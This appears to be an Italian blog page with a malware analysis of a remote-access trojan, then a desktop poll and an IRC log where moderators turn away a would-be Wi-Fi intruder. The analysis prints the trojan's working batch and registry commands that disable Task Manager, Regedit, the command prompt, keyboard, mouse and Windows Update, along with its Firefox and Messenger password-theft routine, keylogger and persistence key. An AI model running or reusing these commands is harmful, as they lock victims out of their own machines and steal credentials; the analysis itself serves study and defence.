GetStringTypeW
LCMapStringA
LCMapStringW
SetStdHandle
FlushFileBuffers
SetEndOfFile
CompareStringA
CompareStringW

Fa una lista delle directory e ritorna le funzioni utilizzabili.
Ad esempio può fare casino nel computer vittima (prank) o mostrare le informazioni dello schermo "display/information" e desktop (che manda una jpg con la schermata della vittima)
Fornisce una shell di dos
Cerca le password salvandole in un file e mandandole all attaccante
Ha una funzione di keylog (utilizzabile solo nella versione privata hihi)
Clear per cancellare i log
Download per scaricare file dal computer e upload per caricarli
Driver query per la lista dei driver
e questi ultimi che si spiegano da soli
ipconfig
path
tasklist
start
mkdir
taskkill
shutdown
attrib
rename
assoc
chdir
title
color

Chiede la versione del sistema su cui sta il server remoto

@.q0o2nc
}c9c$F&+O$`"
_ERROR_1_
::System Information
OS - Windows XP
OS - Windows Vista

Scarica i keylog nel file \TFR336F.tmp

fa un bypass al Windows Security Alert
DFAFD.bat
\cmd.exe
Windows Security Alert
/c taskkill /im rundll32.exe /f
open
taskkill /im rundll32.exe /f
open

usa varie dll e funzioni
mozcrt19.dll
nspr4.dll
plds4.dll
plc4.dll
nssutil3.dll
sqlite3.dll
nspr4.dll
plds4.dll
plc4.dll
plc4.dll
softokn3.dll
nss3.dll
nss3.dll
plc4.dll
NSS_Init
NSS_Shutdown
PK11_GetInternalKeySlot
PK11_FreeSlot
PK11_Authenticate
PK11SDR_Decrypt
PK11_CheckUserPassword
PL_Base64Decode

cerca di scaricare password da firefox e windows live
--------------------------------------------------------------------------------
Application Type - FireFox
Signon: %s
::--Unmanaged Urls
::--Managed Urls
URL: %s
%s : %s
End of Signon: %s
SOFTWARE\Clients\StartMenuInternet\firefox.exe\shell\open\command
Application Data\Mozilla\Firefox
userprofile
\Application Data\Mozilla\Firefox
\profiles.ini
\AppData\Roaming\Mozilla\Firefox
\profiles.ini
name=default
path=
SOFTWARE\Mozilla\Mozilla Firefox
CurrentVersion
signons.txt
signons2.txt
signons3.txt
End of FireFox
advapi32.dll
CredEnumerateA
CredFree
WindowsLive:name=*
\TFR336F.tmp
--------------------------------------------------------------------------------
Application Type - Windows Live Messenger version 8.x/9.x:
Username: %s
Password: %ws
End Of Windows Live Messenger
\TFR336F.tmp
_ERROR_1_
_ERROR_2_
_ERROR_3_
\TFR336F.exe
\TFR336F.bat
_ERROR_1_
_ERROR_2_
_ERROR_1_
_ERROR_2_

C'è una signature

----------Signature----------

Armadillo v1.71

Quindi l hanno criptato con armadillo

facendo vari unpacking e vari dump sono riuscita a decryptare l ip della connessione e l id che avevo messo

00011000 : 31 32 37 2E 30 2E 30 2E 31 00 00 00 00 00 00 00 127.0.0.1.......
00011010 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00011020 : C0 07 00 00 61 73 64 65 72 00 00 00 00 00 00 00 À..ASDER.......

visto che la connessione l avevo messa io puntava in locale ;)

00401015 PUSH t3c4i3's.00410034 Custom commands\n\n
00401022 PUSH t3c4i3's.00410048 1 - download "filename"\n
0040102F PUSH t3c4i3's.00410064 2 - upload [/server | /url] "filename" "url"\n
0040103C PUSH t3c4i3's.00410094 3 - keylog [/on] [/off] [/get] [/clear]\n
00401049 PUSH t3c4i3's.004100C0 4 - click "website" count\n
00401056 PUSH t3c4i3's.004100DC 5 - password [/get]\n
00401063 PUSH t3c4i3's.004100F4 6 - dos "ip" port [/tcp] sockets packets\n
00401070 PUSH t3c4i3's.00410120 7 - display [/desktop | /information]\n
0040107D PUSH t3c4i3's.00410148 8 - del "filename" (modified)\n
0040108A PUSH t3c4i3's.00410168 9 - prank [/list | number]\n\n
00401097 PUSH t3c4i3's.00410188 Normal Shell commands\n\n
004010A4 PUSH t3c4i3's.004101A4 Start, Exit, Cls, Help, Dir, Ipconfig\n
004010B1 PUSH t3c4i3's.004101CC Tasklist, Taskkill, Md, Mkdir, Rmdir, Shutdown\n
004010BE PUSH t3c4i3's.00410200 Attrib, Ren, Rename, Assoc\n
004010CB PUSH t3c4i3's.00410220 ... Etc.\n\n
004010D8 PUSH t3c4i3's.0041022C Keylog function has been locked from public version.\n\n
004010E5 PUSH t3c4i3's.00410264 keylog

questa è una funzione che può venire usata per guadagnare dai banner

00401D74 PUSH t3c4i3's.00410AB0 CLICK\t\tClicks a website invisibly\n

004044ED PUSH t3c4i3's.00412550 echo Windows Registry Editor Version 5.00>"nokeyboard.reg"\n
004044FE PUSH t3c4i3's.0041258C echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout]>>nokeyboard.reg\n
0040450F PUSH t3c4i3's.004125E4 echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\>>nokeyboard.reg\n
00404520 PUSH t3c4i3's.00412644 echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\>>nokeyboard.reg\n
00404531 PUSH t3c4i3's.004126A8 echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\>>nokeyboard.reg\n
00404542 PUSH t3c4i3's.0041270C echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\>>nokeyboard.reg\n
00404553 PUSH t3c4i3's.00412770 echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\>>nokeyboard.reg\n
00404564 PUSH t3c4i3's.004127D4 echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00,53,00,00,00,52,00,00,00,\>>nokeyboard.reg\n
00404575 PUSH t3c4i3's.00412838 echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52,e0,00,00,47,e0,00,00,49,\>>nokeyboard.reg\n
00404586 PUSH t3c4i3's.0041289C echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00,00,00,02,00,00,00,03,00,\>>nokeyboard.reg\n
00404597 PUSH t3c4i3's.00412900 echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00,00,08,00,00,00,09,00,00,\>>nokeyboard.reg\n
004045A8 PUSH t3c4i3's.00412964 echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00,0e,00,00,00,0f,00,00,00,\>>nokeyboard.reg\n
004045B9 PUSH t3c4i3's.004129C8 echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14,00,00,00,15,00,00,00,16,\>>nokeyboard.reg\n
004045CA PUSH t3c4i3's.00412A2C echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00,00,00,1b,00,00,00,2b,00,\>>nokeyboard.reg\n
004045DB PUSH t3c4i3's.00412A90 echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00,00,21,00,00,00,22,00,00,\>>nokeyboard.reg\n
004045EC PUSH t3c4i3's.00412AF4 echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00,27,00,00,00,28,00,00,00,\>>nokeyboard.reg\n
004045FD PUSH t3c4i3's.00412B58 echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e,00,00,00,2f,00,00,00,30,\>>nokeyboard.reg\n
0040460E PUSH t3c4i3's.00412BBC echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00,00,00,35,00,00,00,36,00,\>>nokeyboard.reg\n
0040461F PUSH t3c4i3's.00412C20 echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00,00,38,e0,00,00,5c,e0,00,\>>nokeyboard.reg\n
00404630 PUSH t3c4i3's.00412C84 echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00,22,e0,00,00,24,e0,00,00,\>>nokeyboard.reg\n
00404641 PUSH t3c4i3's.00412CE8 echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c,e0,00,00,20,e0,00,00,6a,\>>nokeyboard.reg\n
00404652 PUSH t3c4i3's.00412D4C echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0,00,00,6c,e0,00,00,6d,e0,\>>nokeyboard.reg\n
00404663 PUSH t3c4i3's.00412DB0 echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00>>nokeyboard.reg\n
00404674 PUSH t3c4i3's.00412DF8 start /min nokeyboard.reg\n
00404685 PUSH t3c4i3's.00412E14 ping 127.0.0.1 /w 3000>nul\n

parte che usa per fare keylogging

004046AC PUSH t3c4i3's.00412E48 reg add HKLM\System\CurrentControlSet\Services\MouClass /v Start /t reg_dword /d 4 /f\n

Abilita l ultilizzo dei driver del mouse di sistema

004046C2 PUSH t3c4i3's.00412EA0 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t reg_dword /d 1 /f\n

Cerca di disabilitare il task manager

004046D8 PUSH t3c4i3's.00412F10 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t reg_dword /d 1 /f\n

Anche il Regedit

004046EE PUSH t3c4i3's.00412F88 reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t reg_dword /d 1 /f\n

Disabilita il promt comandi

Impedisce il funzionamento a tutti questi file
00404704 PUSH t3c4i3's.00412FE4 reg add "HKCU\control panel\don't load" /v access.cpl /d no /f\n
00404715 PUSH t3c4i3's.00413024 reg add "HKCU\control panel\don't load" /v appwiz.cpl /d no /f\n
00404726 PUSH t3c4i3's.00413064 reg add "HKCU\control panel\don't load" /v console.cpl /d no /f\n
00404737 PUSH t3c4i3's.004130A8 reg add "HKCU\control panel\don't load" /v timedate.cpl /d no /f\n
00404748 PUSH t3c4i3's.004130EC reg add "HKCU\control panel\don't load" /v desk.cpl /d no /f\n
00404759 PUSH t3c4i3's.0041312C reg add "HKCU\control panel\don't load" /v fax.cpl /d no /f\n
0040476A PUSH t3c4i3's.0041316C reg add "HKCU\control panel\don't load" /v hdwwiz.cpl /d no /f\n
0040477B PUSH t3c4i3's.004131AC reg add "HKCU\control panel\don't load" /v irprops.cpl /d no /f\n
0040478C PUSH t3c4i3's.004131F0 reg add "HKCU\control panel\don't load" /v intl.cpl /d no /f\n
0040479D PUSH t3c4i3's.00413230 reg add "HKCU\control panel\don't load" /v inetcpl.cpl /d no /f\n
004047AE PUSH t3c4i3's.00413274 reg add "HKCU\control panel\don't load" /v joy.cpl /d no /f\n
004047BF PUSH t3c4i3's.004132B4 reg add "HKCU\control panel\don't load" /v liccpa.cpl /d no /f\n
004047D0 PUSH t3c4i3's.004132F4 reg add "HKCU\control panel\don't load" /v main.cpl /d no /f\n
004047E1 PUSH t3c4i3's.00413334 reg add "HKCU\control panel\don't load" /v mlcfg32.cpl /d no /f\n
004047F2 PUSH t3c4i3's.00413378 reg add "HKCU\control panel\don't load" /v mmsys.cpl /d no /f\n
00404803 PUSH t3c4i3's.004133B8 reg add "HKCU\control panel\don't load" /v ncpa.cpll /d no /f\n
00404814 PUSH t3c4i3's.004133F8 reg add "HKCU\control panel\don't load" /v modem.cpl /d no /f\n
00404825 PUSH t3c4i3's.00413438 reg add "HKCU\control panel\don't load" /v netcpl.cpl /d no /f\n
00404836 PUSH t3c4i3's.00413478 reg add "HKCU\control panel\don't load" /v nwc.cpl /d no /f\n
00404847 PUSH t3c4i3's.004134B8 reg add "HKCU\control panel\don't load" /v odbccp32.cpl /d no /f\n
00404858 PUSH t3c4i3's.004134FC reg add "HKCU\control panel\don't load" /v devapps.cpl /d no /f\n
00404869 PUSH t3c4i3's.00413540 reg add "HKCU\control panel\don't load" /v ports.cpl /d no /f\n
0040487A PUSH t3c4i3's.00413580 reg add "HKCU\control panel\don't load" /v powercfg.cpl /d no /f\n
0040488B PUSH t3c4i3's.004135C4 reg add "HKCU\control panel\don't load" /v sticpl.cpl /d no /f\n
0040489C PUSH t3c4i3's.00413604 reg add "HKCU\control panel\don't load" /v srvmgr.cpl /d no /f\n
004048AD PUSH t3c4i3's.00413644 reg add "HKCU\control panel\don't load" /v sapi.cpl /d no /f\n
004048BE PUSH t3c4i3's.00413684 reg add "HKCU\control panel\don't load" /v sysdm.cpl /d no /f\n
004048CF PUSH t3c4i3's.004136C4 reg add "HKCU\control panel\don't load" /v telephon.cpl /d no /f\n
004048E0 PUSH t3c4i3's.00413708 reg add "HKCU\control panel\don't load" /v tweakui.cpl /d no /f\n
004048F1 PUSH t3c4i3's.0041374C reg add "HKCU\control panel\don't load" /v nusrmgr.cpl /d no /f\n
00404902 PUSH t3c4i3's.00413790 reg add "HKCU\control panel\don't load" /v wspcpl32.cpl /d no /f\n
00404913 PUSH t3c4i3's.004137D4 reg add "HKCU\control panel\don't load" /v quicktime.cpl /d no /f\n
00404924 PUSH t3c4i3's.00413818 reg add "HKCU\control panel\don't load" /v S32LUCP1.cpl /d no /f\n
00404935 PUSH t3c4i3's.0041385C reg add "HKCU\control panel\don't load" /v cpqmgmt.cpl /d no /f\n

Disabilita anche gran parte delle funzioni di explorer e windows update
0040494B PUSH t3c4i3's.004138A0 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDeletePrinter /t reg_dword /d 1 /f\n
0040495C PUSH t3c4i3's.00413914 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoAddPrinter /t reg_dword /d 1 /f\n
0040496D PUSH t3c4i3's.00413984 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t reg_dword /d 1 /f\n
0040497E PUSH t3c4i3's.004139F0 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t reg_dword /d 1 /f\n
0040498F PUSH t3c4i3's.00413A5C reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t reg_dword /d 1 /f\n
004049A0 PUSH t3c4i3's.00413AC4 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetFolders /t reg_dword /d 1 /f\n
004049B1 PUSH t3c4i3's.00413B34 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskbar /t reg_dword /d 1 /f\n
004049C2 PUSH t3c4i3's.00413BA4 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t reg_dword /d 1 /f\n
004049D3 PUSH t3c4i3's.00413C10 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDrives /t reg_dword /d 3FFFFFF /f\n
004049E4 PUSH t3c4i3's.00413C84 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoNetHood /t reg_dword /d 1 /f\n
004049F5 PUSH t3c4i3's.00413CF0 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSaveSettings /t reg_dword /d 1 /f\n
00404A06 PUSH t3c4i3's.00413D64 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v DisableRegistryTools /t reg_dword /d 1 /f\n
00404A17 PUSH t3c4i3's.00413DDC reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRecentDocsMenu /t reg_dword /d 1 /f\n
00404A28 PUSH t3c4i3's.00413E50 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRecentDocsHistory /t reg_dword /d 1 /f\n
00404A39 PUSH t3c4i3's.00413EC8 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFileMenu /t reg_dword /d 1 /f\n
00404A4A PUSH t3c4i3's.00413F38 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoActiveDesktop /t reg_dword /d 1 /f\n
00404A5B PUSH t3c4i3's.00413FAC reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoActiveDesktopChanges /t reg_dword /d 1 /f\n
00404A6C PUSH t3c4i3's.00414028 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoInternetIcon /t reg_dword /d 1 /f\n
00404A7D PUSH t3c4i3's.0041409C reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFavouritesMenu /t reg_dword /d 1 /f\n
00404A8E PUSH t3c4i3's.00414110 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoChangeStartMenu /t reg_dword /d 1 /f\n
00404A9F PUSH t3c4i3's.00414184 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t reg_dword /d 1 /f\n
00404AB0 PUSH t3c4i3's.004141F8 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v ClearRecentDocsOnExit /t reg_dword /d 1 /f\n
00404AC1 PUSH t3c4i3's.00414270 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogOff /t reg_dword /d 1 /f\n
00404AD2 PUSH t3c4i3's.004142DC reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoTrayContextMenu /t reg_dword /d 1 /f\n
00404AE3 PUSH t3c4i3's.00414350 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuSubFolders /t reg_dword /d 1 /f\n
00404AF4 PUSH t3c4i3's.004143C8 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWindowsUpdate /t reg_dword /d 1 /f\n
00404B05 PUSH t3c4i3's.0041443C reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t reg_dword /d 1 /f\n
00404B16 PUSH t3c4i3's.004144B0 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDriveAutoRun /t reg_dword /d 1 /f\n
00404B27 PUSH t3c4i3's.00414524 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartBanner /t reg_dword /d 1 /f\n
00404B38 PUSH t3c4i3's.00414594 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetActiveDesktop /t reg_dword /d 1 /f\n
00404B49 PUSH t3c4i3's.0041460C reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoNetConnectDisconnect /t reg_dword /d 1 /f\n
00404B5A PUSH t3c4i3's.00414688 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispCPL /t reg_dword /d 1 /f\n
00404B6B PUSH t3c4i3's.004146F4 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispBackgroundPage /t reg_dword /d 1 /f\n
00404B7C PUSH t3c4i3's.0041476C reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispScrSavPage /t reg_dword /d 1 /f\n
00404B8D PUSH t3c4i3's.004147E0 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispAppearancePage /t reg_dword /d 1 /f\n
00404B9E PUSH t3c4i3's.00414858 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispSettingPage /t reg_dword /d 1 /f\n
00404BAF PUSH t3c4i3's.004148CC reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoSecCPL /t reg_dword /d 1 /f\n
00404BC0 PUSH t3c4i3's.00414938 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoPwdPage /t reg_dword /d 1 /f\n
00404BD1 PUSH t3c4i3's.004149A4 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoAdminPage /t reg_dword /d 1 /f\n
00404BE2 PUSH t3c4i3's.00414A10 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoProfilePage /t reg_dword /d 1 /f\n
00404BF3 PUSH t3c4i3's.00414A80 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDevMgrPage /t reg_dword /d 1 /f\n
00404C04 PUSH t3c4i3's.00414AF0 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoConfigPage /t reg_dword /d 1 /f\n
00404C15 PUSH t3c4i3's.00414B60 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoFileSysPage /t reg_dword /d 1 /f\n
00404C26 PUSH t3c4i3's.00414BD0 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoVirtMemPage /t reg_dword /d 1 /f\n
00404C37 PUSH t3c4i3's.00414C40 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t reg_dword /d 1 /f\n
00404C48 PUSH t3c4i3's.00414CB0 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t reg_dword /d 1 /f\n
00404C59 PUSH t3c4i3's.00414D28 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t reg_dword /d 1 /f\n
00404C6A PUSH t3c4i3's.00414DA0 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t reg_dword /d 1 /f\n
00404C7B PUSH t3c4i3's.00414E18 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Network /v NoNetSetup /t reg_dword /d 1 /f\n
00404C8C PUSH t3c4i3's.00414E84 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Network /v NoNetSetupIDPage /t reg_dword /d 1 /f\n
00404C9D PUSH t3c4i3's.00414EF8 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Network /v NoNetSetupSecurityPage /t reg_dword /d 1 /f\n
00404CAE PUSH t3c4i3's.00414F70 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Network /v NoFileSharingControl /t reg_dword /d 1 /f\n
00404CBF PUSH t3c4i3's.00414FE8 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Network /v NoPrintSharing /t reg_dword /d 1 /f\n
00404CD0 PUSH t3c4i3's.00415058 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp /v Disabled /t reg_dword /d 1 /f\n
00404CE1 PUSH t3c4i3's.004150C4 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp /v NoRealMode /t reg_dword /d 1 /f\n

Può anche cancellare questi file di registro
00404CF7 PUSH t3c4i3's.00415134 reg delete HKCR\Directory\Shell\Find /f\n
00404D08 PUSH t3c4i3's.00415160 reg delete HKCR\Folder\Shell\Explore /f\n
00404D19 PUSH t3c4i3's.0041518C reg delete HKCR\Folder\Shell\Open /f\n

Queste sono opzioni personalizzate non è detto che siano tutte attive nel server

00404E2D PUSH t3c4i3's.0041520C Prank Upload
00404EE3 PUSH t3c4i3's.0041521C 7 . Closing Applications\n
00404EF0 PUSH t3c4i3's.00415238 - closes Msnmsgr.exe, Explorer.exe, Iexplore.exe, Wmplayer.exe\n\n
00404EFD PUSH t3c4i3's.00415280 8 . Open CD Tray\n
00404F0A PUSH t3c4i3's.00415294 - works only for certain pc\n\n
00404F17 PUSH t3c4i3's.004152B8 10 . Shutdown Started\n
00404F24 PUSH t3c4i3's.004152D0 - shutdown pc immediately\n
00404F31 PUSH t3c4i3's.004152F4 41 . Disable Keyboard\n
00404F3E PUSH t3c4i3's.0041530C - uses registry to remove keyboard\n\n
00404F4B PUSH t3c4i3's.00415338 42 . Disable Mouse\n
00404F58 PUSH t3c4i3's.00415350 - uses registry to remove mouse\n\n
00404F65 PUSH t3c4i3's.00415378 43 . Disable Task Manager\n
00404F72 PUSH t3c4i3's.00415394 - uses registry to block task manager\n
00404F7F PUSH t3c4i3's.004153C4 44 . Disable Registry Editor\n
00404F8C PUSH t3c4i3's.004153E4 - uses registry to block registry[lol]\n\n
00404F99 PUSH t3c4i3's.00415414 45 . Disable Command Prompt\n
00404FA6 PUSH t3c4i3's.00415434 - uses registry to block command prompt\n
00404FB3 PUSH t3c4i3's.00415464 46 . Hide Control Panel Applets\n
00404FC0 PUSH t3c4i3's.00415488 - uses registry\n\n
00404FCD PUSH t3c4i3's.004154A0 47 . Restrict Features\n
00404FDA PUSH t3c4i3's.004154BC - uses registry\n
00404FE7 PUSH t3c4i3's.004154D4 - includes Code 44.\n
00404FF4 PUSH t3c4i3's.004154F0 - includes Code 45.\n\n
00405001 PUSH t3c4i3's.0041550C 48 . Delete Open, Explore & Find\n
0040500E PUSH t3c4i3's.00415530 - uses registry\n\n
0040501B PUSH t3c4i3's.00415548 71 . Consume Harddisk\n
00405028 PUSH t3c4i3's.00415560 - eats up all the space in the default harddisk\n\n
00405035 PUSH t3c4i3's.00415598 \n

Questo Trojan anche se sembra molto old style ha funzioni innovative come l'utilizzo dei bot in massa e la reverse connection.
Tanto tempo fa quando ancora non si usavano tanto i router c'era l idea di mandare una lista di server disponibili su un sito in php o mandando un segnale alla tua macchina e apparendo su una finistrella del client dopo aver avuto la lista dei server disponibili bisognava connettersi a essi e alcuni dopo un pò cominciavano a dare problemi sopratutto se erano messi dietro a un router...
Per questo ora si usa la reverse connection il client non si connette più al server ma il server che si connette al client e attravverso a esso si possono mandare svariati comandi.

Per esempio questo trojan manda un pacchetto dalla porta 1984 (impostata sempre da me)

00000000 | 434F 4D50 5554 4552 4E41 4D45 | COMPUTERNAME

cercando di connettersi a un client...

Apre anche una porta per spedire immagini e/o file la 1033 (questa impostata di default)

crea una voce di registro in
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
inserendo la locazione del trojan nel vostro pc per auto avviarsi ogni volta che accendete il computer

[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion]
Text = "1254680584"

Che desktop grafico usi ?

2009-10-03T08:25:00.000-07:00

Gnome	36 (55%)
Kde	24 (36%)
Lxde	8 (12%)
Xfce	5 (7%)
EDE	0 (0%)
Étoilé	1 (1%)
IRIX Interactive Desktop	0 (0%)
Mezzo	1 (1%)
ROX	0 (0%)

Total: 65
Tempo: 30 giorni

Ero un pò scettica sulla vincità di Gnome ma ubuntu sicuramente ha fatto salire le statistiche essendo predisposto per Gnome, mentre Backtrack è ancora fedele a KDE.
Quindi un grosso applauso per Gnome !

L'etica Hacker is burning!

2009-10-02T08:34:00.000-07:00

ee GOLDMAN [n=IDIDSIID@net-93-65-104-172.cust.dsl.vodafone.it] has joined #backtrack.it
14:20 GOLDMAN buongiorno a tutti
14:22 GOLDMAN ragazzi qualcuno di vuoi sa di wifislax ????????
14:25 GOLDMAN nessuna risposta x mi ??
14:25 BtSmarto no scusaci GOLDMAN
14:25 BtSmarto non conosco
14:26 @keeley ke risposta vuoi GOLDMAN
14:26 @keeley sulla fine dell'universo? sugli alieni?
14:26 @keeley sulle password per entrare da emgent...
14:26 @keeley cosa vuoi?
14:27 GOLDMAN xk ho una problima con questo live cd . pero fa niente grazie cmq
14:27 @keeley quale live cd?
14:27 BtSmarto ma noi qui supportimao bt4
14:27 +dr4kk4r GOLDMAN: ke problema ?
14:28 BtSmarto wifislax
14:28 @keeley ancora con ste cose da lamer.. wifislax
14:28 +dr4kk4r keeley: hahahaahahah
ee m7x [n=m7x@unaffiliated/m7x] has joined #backtrack.it
14:29 ee mode/#backtrack.it [+v m7x] by ChanServ
14:29 GOLDMAN non accetta la mia scheda di wifi
14:30 @keeley ho capito, ma noi forniamo supporto qui per bt... vai sul canale di wifislax... ma sarei più curioso per cosa ci devi fare????
14:32 @keeley dai su GOLDMAN narraci cosa vuoi farci con wifislax..
14:35 ee Kerd [n=no@unaffiliated/kerd] has joined #backtrack.it
14:41 watakushi burp
14:50 GOLDMAN voglio hackerare un rete wifi
14:51 @keeley allora sei un cretino!
14:51 BtSmarto ahahahhaha
14:51 @keeley è meglio che tene vai di qui con queste intenzioni..
14:51 BtSmarto avessi detto un test
14:51 @keeley noi nn supportiamo atti criminali
14:51 GOLDMAN ma che dici
14:51 @keeley cosa?
14:52 BtSmarto dice bene GOLDMAN
14:52 ee aliceinwire [n=aliceinw@unaffiliated/aliceinwire] has joined #backtrack.it
14:52 BtSmarto cioe keeley dice bene
14:52 BtSmarto magari è del vicino
14:53 GOLDMAN io fascio di test x le rete wifi e informo le agente come si fa a chiudere exploit
14:53 @keeley la legge nn dice questo
14:53 ee m7x [n=m7x@unaffiliated/m7x] has left #backtrack.it ["byeZzZ"]
14:53 @keeley non si sfonda la porta di casa degli altri e poi gli si dice cambiala
14:53 ee m7x [n=m7x@unaffiliated/m7x] has joined #backtrack.it
14:53 ee mode/#backtrack.it [+v m7x] by ChanServ
14:53 GOLDMAN che cosa dici la legger
14:53 @keeley dice ceh devi essere autorizzato dal proprietario
14:54 @keeley prima ovviamente.. che uno lo fa...
14:54 GOLDMAN scusati io non sono italiano non so niente di la legger italiana
14:54 @keeley la legge è così in tutta europa
14:54 @keeley e nella maggior parte del mondo.. solo in kuwait non è così
14:55 @keeley però strano dici che nn sei italiano però ti conetti dall'italia... quindi devi rispettare la normativa italiana
14:55 @keeley non è che se uno va un altro paese fa come gli pare.. perchè vieni da un altro
14:56 GOLDMAN non ho fatte nessun male fino adesso
14:56 BtSmarto ti conviene
14:56 @keeley non vuol dire niente
14:57 @keeley avere l'idea è il problema
14:57 @keeley anceh chi detiene armi non fa niente di male...
14:57 GOLDMAN sto qui con vuoi x cambiarla
14:57 @keeley e poi dice di volerle usare per uccidere le persoen
14:57 @keeley cosa vuoi cambiare?
14:57 GOLDMAN la mia idea
14:58 @keeley bene ora lo sai
15:01 GOLDMAN si avete bisogno di qualche informazione sono qui
15:01 @keeley e che informazioni dai GOLDMAN ?
15:02 GOLDMAN di pentesting
